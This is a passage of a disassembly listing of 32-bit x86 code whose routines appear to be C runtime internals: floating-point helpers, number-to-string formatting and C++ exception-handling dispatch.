loc_41C2D5: ; CODE XREF: sub_41C2B8+Dj mov eax, off_43ACCC[ecx*8] retn sub_41C2B8 endp ; =============== S U B R O U T I N E ======================================= sub_41C2DD proc near ; CODE XREF: sub_41BCA8+41p arg_0 = byte ptr 4 mov al, [esp+arg_0] test al, 20h jz short loc_41C2E9 push 5 jmp short loc_41C2FF ; --------------------------------------------------------------------------- loc_41C2E9: ; CODE XREF: sub_41C2DD+6j test al, 8 jz short loc_41C2F1 push 1 jmp short loc_41C2FF ; --------------------------------------------------------------------------- loc_41C2F1: ; CODE XREF: sub_41C2DD+Ej test al, 4 jz short loc_41C2F9 push 2 jmp short loc_41C2FF ; --------------------------------------------------------------------------- loc_41C2F9: ; CODE XREF: sub_41C2DD+16j test al, 1 jz short loc_41C301 push 3 loc_41C2FF: ; CODE XREF: sub_41C2DD+Aj ; sub_41C2DD+12j ... pop eax retn ; --------------------------------------------------------------------------- loc_41C301: ; CODE XREF: sub_41C2DD+1Ej movzx eax, al and eax, 2 shl eax, 1 retn sub_41C2DD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41C30A(double) sub_41C30A proc near ; CODE XREF: sub_4179A4:loc_417A2Ap ; sub_417AEB:loc_417B71p var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] frndint fstp [ebp+var_8] fld [ebp+var_8] leave retn sub_41C30A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41C31C(double,int) sub_41C31C proc near ; CODE XREF: sub_41C39F+82p ; sub_41C39F+98p var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_8] mov ecx, [ebp+0Eh] fld [ebp+arg_0] add eax, 3FEh and cx, 800Fh fstp [ebp+var_8] shl eax, 4 or eax, ecx mov word ptr [ebp+var_8+6], ax fld [ebp+var_8] leave retn sub_41C31C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C345 proc near ; CODE XREF: sub_4179A4+31p ; sub_417AEB+31p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp xor edx, edx cmp [ebp+arg_4], 7FF00000h jnz short loc_41C35C cmp [ebp+arg_0], edx jnz short loc_41C36E push 1 jmp short loc_41C398 ; --------------------------------------------------------------------------- loc_41C35C: ; CODE XREF: sub_41C345+Cj cmp [ebp+arg_4], 0FFF00000h jnz short loc_41C36E cmp [ebp+arg_0], edx jnz short loc_41C36E push 2 jmp short loc_41C398 ; --------------------------------------------------------------------------- loc_41C36E: ; CODE XREF: sub_41C345+11j ; sub_41C345+1Ej ... mov ecx, [ebp+arg_4+2] mov eax, 7FF8h and ecx, eax cmp cx, ax jnz short loc_41C381 push 3 jmp short loc_41C398 ; --------------------------------------------------------------------------- loc_41C381: ; CODE XREF: sub_41C345+36j cmp cx, 7FF0h jnz short loc_41C39B test [ebp+arg_4], 7FFFFh jnz short loc_41C396 cmp [ebp+arg_0], edx jz short loc_41C39B loc_41C396: ; CODE XREF: sub_41C345+4Aj push 4 loc_41C398: ; CODE XREF: sub_41C345+15j ; sub_41C345+27j ... pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_41C39B: ; CODE XREF: sub_41C345+41j ; sub_41C345+4Fj xor eax, eax pop ebp retn sub_41C345 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41C39F(double,int) sub_41C39F proc near ; CODE XREF: sub_41BFF3+160p var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] fcomp dbl_423810 push esi fnstsw ax sahf jnz short loc_41C3BF fldz xor esi, esi fstp [ebp+var_8] jmp loc_41C455 ; --------------------------------------------------------------------------- loc_41C3BF: ; CODE XREF: sub_41C39F+12j xor ecx, ecx test word ptr [ebp+arg_0+6], 7FF0h jnz short loc_41C42E test dword ptr [ebp+arg_0+4], 0FFFFFh jnz short loc_41C3D7 cmp dword ptr [ebp+arg_0], ecx jz short loc_41C42E loc_41C3D7: ; CODE XREF: sub_41C39F+31j fld [ebp+arg_0] fcomp dbl_423810 mov esi, 0FFFFFC03h fnstsw ax sahf jnb short loc_41C3EF push 1 pop eax jmp short loc_41C3F1 ; --------------------------------------------------------------------------- loc_41C3EF: ; CODE XREF: sub_41C39F+49j xor eax, eax loc_41C3F1: ; CODE XREF: sub_41C39F+4Ej ; sub_41C39F+69j test byte ptr [ebp+arg_0+6], 10h jnz short loc_41C40A shl dword ptr [ebp+arg_0+4], 1 test byte ptr [ebp+arg_0+3], 80h jz short loc_41C404 or dword ptr [ebp+arg_0+4], 1 loc_41C404: ; CODE XREF: sub_41C39F+5Fj shl dword ptr [ebp+arg_0], 1 dec esi jmp short loc_41C3F1 ; --------------------------------------------------------------------------- loc_41C40A: ; CODE XREF: sub_41C39F+56j and word ptr [ebp+arg_0+6], 0FFEFh cmp eax, ecx jz short loc_41C418 or byte ptr [ebp+arg_0+7], 80h loc_41C418: ; CODE XREF: sub_41C39F+73j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_41C31C fstp [ebp+var_8] add esp, 0Ch jmp short loc_41C455 ; --------------------------------------------------------------------------- loc_41C42E: ; CODE XREF: sub_41C39F+28j ; sub_41C39F+36j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_41C31C mov eax, dword ptr [ebp+arg_0+6] add esp, 0Ch fstp [ebp+var_8] shr eax, 4 and ax, 7FFh movsx esi, ax sub esi, 3FEh loc_41C455: ; CODE XREF: sub_41C39F+1Bj ; sub_41C39F+8Dj mov eax, [ebp+arg_8] fld [ebp+var_8] mov [eax], esi pop esi leave retn sub_41C39F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C460 proc near ; CODE XREF: sub_41BD40+F6p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fstsw [ebp+var_2] movsx eax, [ebp+var_2] leave retn sub_41C460 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C46E proc near ; CODE XREF: sub_41BD40+206p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fnstsw [ebp+var_2] fnclex movsx eax, [ebp+var_2] leave retn sub_41C46E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C47D proc near ; CODE XREF: sub_4179A4+13p ; sub_4179A4+5Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx fstcw word ptr [ebp+var_4] mov eax, [ebp+arg_4] mov ecx, eax and eax, [ebp+arg_0] not ecx and ecx, [ebp+var_4] or ecx, eax mov [ebp+arg_4], ecx fldcw word ptr [ebp+arg_4] movsx eax, word ptr [ebp+var_4] leave retn sub_41C47D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C4A0 proc near ; CODE XREF: sub_41BFF3+1Dp ; sub_41BFF3+37p ... var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov cl, byte ptr [ebp+arg_0] test cl, 1 jz short loc_41C4B7 fld tbyte_43ADC8 fistp [ebp+arg_0] wait loc_41C4B7: ; CODE XREF: sub_41C4A0+Bj test cl, 8 jz short loc_41C4CC fstsw ax fld tbyte_43ADC8 fstp [ebp+var_8] wait fstsw ax loc_41C4CC: ; CODE XREF: sub_41C4A0+1Aj test cl, 10h jz short loc_41C4DB fld tbyte_43ADD4 fstp [ebp+var_8] wait loc_41C4DB: ; CODE XREF: sub_41C4A0+2Fj test cl, 4 jz short loc_41C4E9 fldz fld1 fdivrp st(1), st fstp st wait loc_41C4E9: ; CODE XREF: sub_41C4A0+3Ej test cl, 20h jz short locret_41C4F4 fldpi fstp [ebp+var_8] wait locret_41C4F4: ; CODE XREF: sub_41C4A0+4Cj leave retn sub_41C4A0 endp ; =============== S U B R O U T I N E ======================================= sub_41C4F6 proc near ; CODE XREF: sub_417A73+Fp push 30000h push 10000h call sub_41FEE3 pop ecx pop ecx retn sub_41C4F6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C508 proc near ; CODE XREF: sub_41C546:loc_41C56Aj var_18 = qword ptr -18h var_10 = qword ptr -10h var_8 = qword ptr -8 push ebp mov ebp, esp sub esp, 18h fld dbl_423820 fstp [ebp+var_8] fld dbl_423818 fstp [ebp+var_10] fld [ebp+var_10] fdiv [ebp+var_8] fmul [ebp+var_8] fsubr [ebp+var_10] fstp [ebp+var_18] fld [ebp+var_18] fcomp dbl_4236A0 fnstsw ax sahf jbe short loc_41C542 push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_41C542: ; CODE XREF: sub_41C508+33j xor eax, eax leave retn sub_41C508 endp ; =============== S U B R O U T I N E ======================================= sub_41C546 proc near ; CODE XREF: sub_417A73+5p push offset aKernel32 ; "KERNEL32" call dword_423100 ; GetModuleHandleA test eax, eax jz short loc_41C56A push offset aIsprocessorfea ; "IsProcessorFeaturePresent" push eax call dword_4230DC ; GetProcAddress test eax, eax jz short loc_41C56A push 0 call eax ; sub_417A73 retn ; --------------------------------------------------------------------------- loc_41C56A: ; CODE XREF: sub_41C546+Dj ; sub_41C546+1Dj jmp sub_41C508 sub_41C546 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41C56F proc near ; CODE XREF: sub_419B38+3CBp ; DATA XREF: sub_417A8B+1Eo ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] movsx eax, byte ptr [esi] push eax call sub_418E01 cmp eax, 65h pop ecx jz short loc_41C5AF loc_41C583: ; CODE XREF: sub_41C56F+3Ej inc esi cmp dword_438C8C, 1 jle short loc_41C59C movsx eax, byte ptr [esi] push 4 push eax call sub_41A342 pop ecx pop ecx jmp short loc_41C5AB ; --------------------------------------------------------------------------- loc_41C59C: ; CODE XREF: sub_41C56F+1Cj movsx eax, byte ptr [esi] mov ecx, off_438A80 mov al, [ecx+eax*2] and eax, 4 loc_41C5AB: ; CODE XREF: sub_41C56F+2Bj test eax, eax jnz short loc_41C583 loc_41C5AF: ; CODE XREF: sub_41C56F+12j mov cl, byte_438C90 mov al, [esi] mov [esi], cl inc esi loc_41C5BA: ; CODE XREF: sub_41C56F+56j mov cl, [esi] mov [esi], al mov al, cl mov cl, [esi] inc esi test cl, cl jnz short loc_41C5BA pop esi retn sub_41C56F endp ; =============== S U B R O U T I N E ======================================= sub_41C5C9 proc near ; CODE XREF: sub_419B38+3E2p ; DATA XREF: sub_417A8B+5o ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dl, byte_438C90 mov cl, [eax] test cl, cl jz short loc_41C5E5 loc_41C5D9: ; CODE XREF: sub_41C5C9+1Aj cmp cl, dl jz short loc_41C5E5 mov cl, [eax+1] inc eax test cl, cl jnz short loc_41C5D9 loc_41C5E5: ; CODE XREF: sub_41C5C9+Ej ; sub_41C5C9+12j mov cl, [eax] inc eax test cl, cl jz short locret_41C616 loc_41C5EC: ; CODE XREF: sub_41C5C9+34j mov cl, [eax] test cl, cl jz short loc_41C5FF cmp cl, 65h jz short loc_41C5FF cmp cl, 45h jz short loc_41C5FF inc eax jmp short loc_41C5EC ; --------------------------------------------------------------------------- loc_41C5FF: ; CODE XREF: sub_41C5C9+27j ; sub_41C5C9+2Cj ... mov ecx, eax loc_41C601: ; CODE XREF: sub_41C5C9+3Cj dec eax cmp byte ptr [eax], 30h jz short loc_41C601 cmp [eax], dl jnz short loc_41C60C dec eax loc_41C60C: ; CODE XREF: sub_41C5C9+40j ; sub_41C5C9+4Bj mov dl, [ecx] inc eax inc ecx test dl, dl mov [eax], dl jnz short loc_41C60C locret_41C616: ; CODE XREF: sub_41C5C9+21j retn sub_41C5C9 endp ; =============== S U B R O U T I N E ======================================= sub_41C617 proc near ; DATA XREF: sub_417A8B+28o ; .data:off_43ADF0o arg_0 = dword ptr 4 mov eax, [esp+arg_0] fld qword ptr [eax] fcomp dbl_423810 fnstsw ax sahf jb short loc_41C62C push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41C62C: ; CODE XREF: sub_41C617+Fj xor eax, eax retn sub_41C617 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C62F proc near ; CODE XREF: sub_41D497+430p ; DATA XREF: sub_417A8B+14o ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_0], 0 push [ebp+arg_8] jz short loc_41C658 lea eax, [ebp+var_8] push eax call sub_4203A6 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+var_8] mov [eax], ecx mov ecx, [ebp+var_4] mov [eax+4], ecx leave retn ; --------------------------------------------------------------------------- loc_41C658: ; CODE XREF: sub_41C62F+Cj lea eax, [ebp+arg_8] push eax call sub_4203D3 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+arg_8] mov [eax], ecx leave retn sub_41C62F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C66D proc near ; CODE XREF: sub_41C8EA+17p ; sub_41C934+47p var_10 = qword ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp cmp byte_48951C, 0 push ebx push esi jz short loc_41C6A2 mov ebx, [ebp+arg_8] mov eax, dword_489518 xor ecx, ecx mov esi, eax test ebx, ebx setnle cl push ecx xor ecx, ecx cmp dword ptr [eax], 2Dh setz cl add ecx, [ebp+arg_4] push ecx call sub_41C985 pop ecx pop ecx jmp short loc_41C6DA ; --------------------------------------------------------------------------- loc_41C6A2: ; CODE XREF: sub_41C66D+Cj mov eax, [ebp+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+10h+var_10] call sub_420477 mov ebx, [ebp+arg_8] mov esi, eax push esi mov edx, [ebp+arg_4] lea eax, [ebx+1] push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al xor ecx, ecx test ebx, ebx setnle cl add edx, eax add ecx, edx push ecx call sub_420400 add esp, 14h loc_41C6DA: ; CODE XREF: sub_41C66D+33j cmp dword ptr [esi], 2Dh mov eax, [ebp+arg_4] jnz short loc_41C6E6 mov byte ptr [eax], 2Dh inc eax loc_41C6E6: ; CODE XREF: sub_41C66D+73j test ebx, ebx jle short loc_41C6FE mov cl, [eax+1] push edi lea edi, [eax+1] mov [eax], cl mov cl, byte_438C90 mov eax, edi pop edi mov [eax], cl loc_41C6FE: ; CODE XREF: sub_41C66D+7Bj xor ecx, ecx push offset aE000 ; "e+000" cmp byte_48951C, cl setz cl add ecx, eax add ecx, ebx push ecx call sub_4176C0 cmp [ebp+arg_C], 0 pop ecx pop ecx mov ecx, eax jz short loc_41C725 mov byte ptr [ecx], 45h loc_41C725: ; CODE XREF: sub_41C66D+B3j mov eax, [esi+0Ch] inc ecx cmp byte ptr [eax], 30h jz short loc_41C76A mov ebx, [esi+4] dec ebx jns short loc_41C739 neg ebx mov byte ptr [ecx], 2Dh loc_41C739: ; CODE XREF: sub_41C66D+C5j inc ecx cmp ebx, 64h jl short loc_41C750 mov eax, ebx push 64h cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_41C750: ; CODE XREF: sub_41C66D+D0j inc ecx cmp ebx, 0Ah jl short loc_41C767 mov eax, ebx push 0Ah cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_41C767: ; CODE XREF: sub_41C66D+E7j add [ecx+1], bl loc_41C76A: ; CODE XREF: sub_41C66D+BFj mov eax, [ebp+arg_4] pop esi pop ebx pop ebp retn sub_41C66D endp ; =============== S U B R O U T I N E ======================================= sub_41C771 proc near ; CODE XREF: sub_41C911+13p ; sub_41C934+1Ep var_18 = qword ptr -18h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch cmp byte_48951C, 0 push ebx push ebp mov ebp, [esp+8+arg_4] push esi push edi jz short loc_41C7AC mov eax, dword_489520 mov ebx, [esp+10h+arg_8] mov esi, dword_489518 cmp eax, ebx jnz short loc_41C7DC xor ecx, ecx cmp dword ptr [esi], 2Dh setz cl add ecx, eax add ecx, ebp mov eax, ecx mov byte ptr [eax], 30h and byte ptr [eax+1], 0 jmp short loc_41C7DC ; --------------------------------------------------------------------------- loc_41C7AC: ; CODE XREF: sub_41C771+Fj mov eax, [esp+10h+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+18h+var_18] call sub_420477 mov ebx, [esp+18h+arg_8] mov esi, eax push esi mov eax, [esi+4] add eax, ebx push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al add eax, ebp push eax call sub_420400 add esp, 14h loc_41C7DC: ; CODE XREF: sub_41C771+22j ; sub_41C771+39j cmp dword ptr [esi], 2Dh mov edi, ebp jnz short loc_41C7EA mov byte ptr [ebp+0], 2Dh lea edi, [ebp+1] loc_41C7EA: ; CODE XREF: sub_41C771+70j mov eax, [esi+4] test eax, eax jg short loc_41C801 push 1 push edi call sub_41C985 pop ecx mov byte ptr [edi], 30h pop ecx inc edi jmp short loc_41C803 ; --------------------------------------------------------------------------- loc_41C801: ; CODE XREF: sub_41C771+7Ej add edi, eax loc_41C803: ; CODE XREF: sub_41C771+8Ej test ebx, ebx jle short loc_41C848 push 1 push edi call sub_41C985 mov al, byte_438C90 pop ecx mov [edi], al mov esi, [esi+4] inc edi pop ecx test esi, esi jge short loc_41C848 cmp byte_48951C, 0 jz short loc_41C82D neg esi jmp short loc_41C833 ; --------------------------------------------------------------------------- loc_41C82D: ; CODE XREF: sub_41C771+B6j neg esi cmp ebx, esi jl short loc_41C835 loc_41C833: ; CODE XREF: sub_41C771+BAj mov ebx, esi loc_41C835: ; CODE XREF: sub_41C771+C0j push ebx push edi call sub_41C985 push ebx push 30h push edi call sub_417030 add esp, 14h loc_41C848: ; CODE XREF: sub_41C771+94j ; sub_41C771+ADj pop edi mov eax, ebp pop esi pop ebp pop ebx retn sub_41C771 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C84F proc near ; CODE XREF: sub_41C934+34p var_14 = qword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx push esi push edi mov edi, [ebp+arg_0] push ecx push ecx fld qword ptr [edi] fstp [esp+14h+var_14] call sub_420477 mov dword_489518, eax mov ecx, [eax+4] dec ecx mov ebx, [ebp+arg_8] mov dword_489520, ecx xor ecx, ecx cmp dword ptr [eax], 2Dh push eax push ebx setz cl add ecx, [ebp+arg_4] mov esi, ecx push esi call sub_420400 mov eax, dword_489518 add esp, 14h mov ecx, [eax+4] dec ecx cmp dword_489520, ecx setl cl mov byte_489524, cl mov eax, [eax+4] dec eax cmp eax, 0FFFFFFFCh mov dword_489520, eax jl short loc_41C8D5 cmp eax, ebx jge short loc_41C8D5 test cl, cl jz short loc_41C8C6 loc_41C8BC: ; CODE XREF: sub_41C84F+72j mov al, [esi] inc esi test al, al jnz short loc_41C8BC and [esi-2], al loc_41C8C6: ; CODE XREF: sub_41C84F+6Bj push ebx push [ebp+arg_4] push edi call sub_41C911 add esp, 0Ch jmp short loc_41C8E5 ; --------------------------------------------------------------------------- loc_41C8D5: ; CODE XREF: sub_41C84F+63j ; sub_41C84F+67j push [ebp+arg_C] push ebx push [ebp+arg_4] push edi call sub_41C8EA add esp, 10h loc_41C8E5: ; CODE XREF: sub_41C84F+84j pop edi pop esi pop ebx pop ebp retn sub_41C84F endp ; =============== S U B R O U T I N E ======================================= sub_41C8EA proc near ; CODE XREF: sub_41C84F+8Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push [esp+arg_C] mov byte_48951C, 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41C66D and byte_48951C, 0 add esp, 10h retn sub_41C8EA endp ; =============== S U B R O U T I N E ======================================= sub_41C911 proc near ; CODE XREF: sub_41C84F+7Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_8] mov byte_48951C, 1 push [esp+4+arg_4] push [esp+8+arg_0] call sub_41C771 and byte_48951C, 0 add esp, 0Ch retn sub_41C911 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C934 proc near ; CODE XREF: sub_419B38+3AAp ; DATA XREF: sub_417A8Bo ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp cmp [ebp+arg_8], 65h jz short loc_41C96F cmp [ebp+arg_8], 45h jz short loc_41C96F cmp [ebp+arg_8], 66h jnz short loc_41C95C push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_41C771 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- loc_41C95C: ; CODE XREF: sub_41C934+13j push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_41C84F jmp short loc_41C980 ; --------------------------------------------------------------------------- loc_41C96F: ; CODE XREF: sub_41C934+7j ; sub_41C934+Dj push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_41C66D loc_41C980: ; CODE XREF: sub_41C934+39j add esp, 10h pop ebp retn sub_41C934 endp ; =============== S U B R O U T I N E ======================================= sub_41C985 proc near ; CODE XREF: sub_41C66D+2Cp ; sub_41C771+83p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push edi mov edi, [esp+4+arg_4] test edi, edi jz short loc_41C9A8 push esi mov esi, [esp+8+arg_0] push esi call sub_4177B0 inc eax push eax push esi add esi, edi push esi call sub_417FC0 add esp, 10h pop esi loc_41C9A8: ; CODE XREF: sub_41C985+7j pop edi retn sub_41C985 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C9AA proc near ; CODE XREF: .data:00417C6Cp ; sub_417CD5+1Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push esi mov esi, [ebp+arg_10] push edi mov edi, 19930520h cmp [esi], edi jz short loc_41C9C0 call sub_41D252 loc_41C9C0: ; CODE XREF: sub_41C9AA+Fj mov eax, [ebp+arg_0] test byte ptr [eax+4], 66h jz short loc_41C9E8 cmp dword ptr [esi+4], 0 jz short loc_41CA3E cmp [ebp+arg_14], 0 jnz short loc_41CA3E push 0FFFFFFFFh push esi push [ebp+arg_C] push [ebp+arg_4] call sub_41CCF1 add esp, 10h jmp short loc_41CA3E ; --------------------------------------------------------------------------- loc_41C9E8: ; CODE XREF: sub_41C9AA+1Dj cmp dword ptr [esi+0Ch], 0 jz short loc_41CA3E cmp dword ptr [eax], 0E06D7363h jnz short loc_41CA22 cmp [eax+14h], edi jbe short loc_41CA22 mov ecx, [eax+1Ch] mov ecx, [ecx+8] test ecx, ecx jz short loc_41CA22 movzx edx, byte ptr [ebp+arg_1C] push edx push [ebp+arg_18] push [ebp+arg_14] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call ecx add esp, 20h jmp short loc_41CA41 ; --------------------------------------------------------------------------- loc_41CA22: ; CODE XREF: sub_41C9AA+4Aj ; sub_41C9AA+4Fj ... push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_1C] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call sub_41CA45 add esp, 20h loc_41CA3E: ; CODE XREF: sub_41C9AA+23j ; sub_41C9AA+29j ... push 1 pop eax loc_41CA41: ; CODE XREF: sub_41C9AA+76j pop edi pop esi pop ebp retn sub_41C9AA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CA45 proc near ; CODE XREF: sub_41C9AA+8Cp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = byte ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_4] and byte ptr [ebp+var_14], 0 mov eax, [eax+8] cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jl short loc_41CA65 mov ecx, [ebp+arg_10] cmp eax, [ecx+4] jl short loc_41CA6A loc_41CA65: ; CODE XREF: sub_41CA45+16j call sub_41D252 loc_41CA6A: ; CODE XREF: sub_41CA45+1Ej push ebx push esi mov esi, [ebp+arg_0] mov ebx, 0E06D7363h push edi mov edi, 19930520h cmp [esi], ebx jnz loc_41CBC1 cmp dword ptr [esi+10h], 3 jnz short loc_41CADE cmp [esi+14h], edi jnz short loc_41CADE cmp dword ptr [esi+1Ch], 0 jnz short loc_41CADE mov esi, dword_489528 test esi, esi jz loc_41CBBC mov eax, dword_48952C push 1 push esi mov [ebp+arg_8], eax mov byte ptr [ebp+var_14], 1 call sub_4205FE pop ecx test eax, eax pop ecx jnz short loc_41CAC0 call sub_41D252 loc_41CAC0: ; CODE XREF: sub_41CA45+74j cmp [esi], ebx jnz loc_41CBC1 cmp dword ptr [esi+10h], 3 jnz short loc_41CADE cmp [esi+14h], edi jnz short loc_41CADE cmp dword ptr [esi+1Ch], 0 jnz short loc_41CADE call sub_41D252 loc_41CADE: ; CODE XREF: sub_41CA45+41j ; sub_41CA45+46j ... cmp [esi], ebx jnz loc_41CBC1 cmp dword ptr [esi+10h], 3 jnz loc_41CBC1 cmp [esi+14h], edi jnz loc_41CBC1 mov edi, [ebp+var_10] lea eax, [ebp+var_18] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_417E23 add esp, 14h mov ebx, eax loc_41CB15: ; CODE XREF: sub_41CA45+162j mov eax, [ebp+var_4] cmp eax, [ebp+var_18] jnb loc_41CBAC cmp [ebx], edi jg short loc_41CBA1 cmp edi, [ebx+4] jg short loc_41CBA1 mov eax, [ebx+10h] mov [ebp+arg_0], eax mov eax, [ebx+0Ch] test eax, eax mov [ebp+var_C], eax jle short loc_41CB9E loc_41CB3A: ; CODE XREF: sub_41CA45+131j mov eax, [esi+1Ch] mov eax, [eax+0Ch] lea edi, [eax+4] mov eax, [eax] test eax, eax mov [ebp+var_8], eax jle short loc_41CB6B loc_41CB4C: ; CODE XREF: sub_41CA45+124j push dword ptr [esi+1Ch] push dword ptr [edi] push [ebp+arg_0] call sub_41CC94 add esp, 0Ch test eax, eax jnz short loc_41CB7A dec [ebp+var_8] add edi, 4 cmp [ebp+var_8], eax jg short loc_41CB4C loc_41CB6B: ; CODE XREF: sub_41CA45+105j dec [ebp+var_C] add [ebp+arg_0], 10h cmp [ebp+var_C], 0 jg short loc_41CB3A jmp short loc_41CB9E ; --------------------------------------------------------------------------- loc_41CB7A: ; CODE XREF: sub_41CA45+119j push [ebp+var_14] push [ebp+arg_1C] push [ebp+arg_18] push ebx push dword ptr [edi] push [ebp+arg_0] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_41CDA5 add esp, 2Ch loc_41CB9E: ; CODE XREF: sub_41CA45+F3j ; sub_41CA45+133j mov edi, [ebp+var_10] loc_41CBA1: ; CODE XREF: sub_41CA45+DEj ; sub_41CA45+E3j inc [ebp+var_4] add ebx, 14h jmp loc_41CB15 ; --------------------------------------------------------------------------- loc_41CBAC: ; CODE XREF: sub_41CA45+D6j cmp [ebp+arg_14], 0 jz short loc_41CBBC push 1 push esi call sub_41D11A pop ecx pop ecx loc_41CBBC: ; CODE XREF: sub_41CA45+56j ; sub_41CA45+16Bj ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41CBC1: ; CODE XREF: sub_41CA45+37j ; sub_41CA45+7Dj ... cmp [ebp+arg_14], 0 jnz short loc_41CBE7 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+var_10] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_41CBEC add esp, 20h jmp short loc_41CBBC ; --------------------------------------------------------------------------- loc_41CBE7: ; CODE XREF: sub_41CA45+180j jmp sub_41D1FC sub_41CA45 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CBEC proc near ; CODE XREF: sub_41CA45+198p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push ecx push ecx cmp dword_489530, 0 push esi push edi jz short loc_41CC1D push [ebp+arg_1C] push [ebp+arg_18] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_417CFA add esp, 1Ch test eax, eax jnz short loc_41CC90 loc_41CC1D: ; CODE XREF: sub_41CBEC+Ej mov edi, [ebp+arg_14] lea eax, 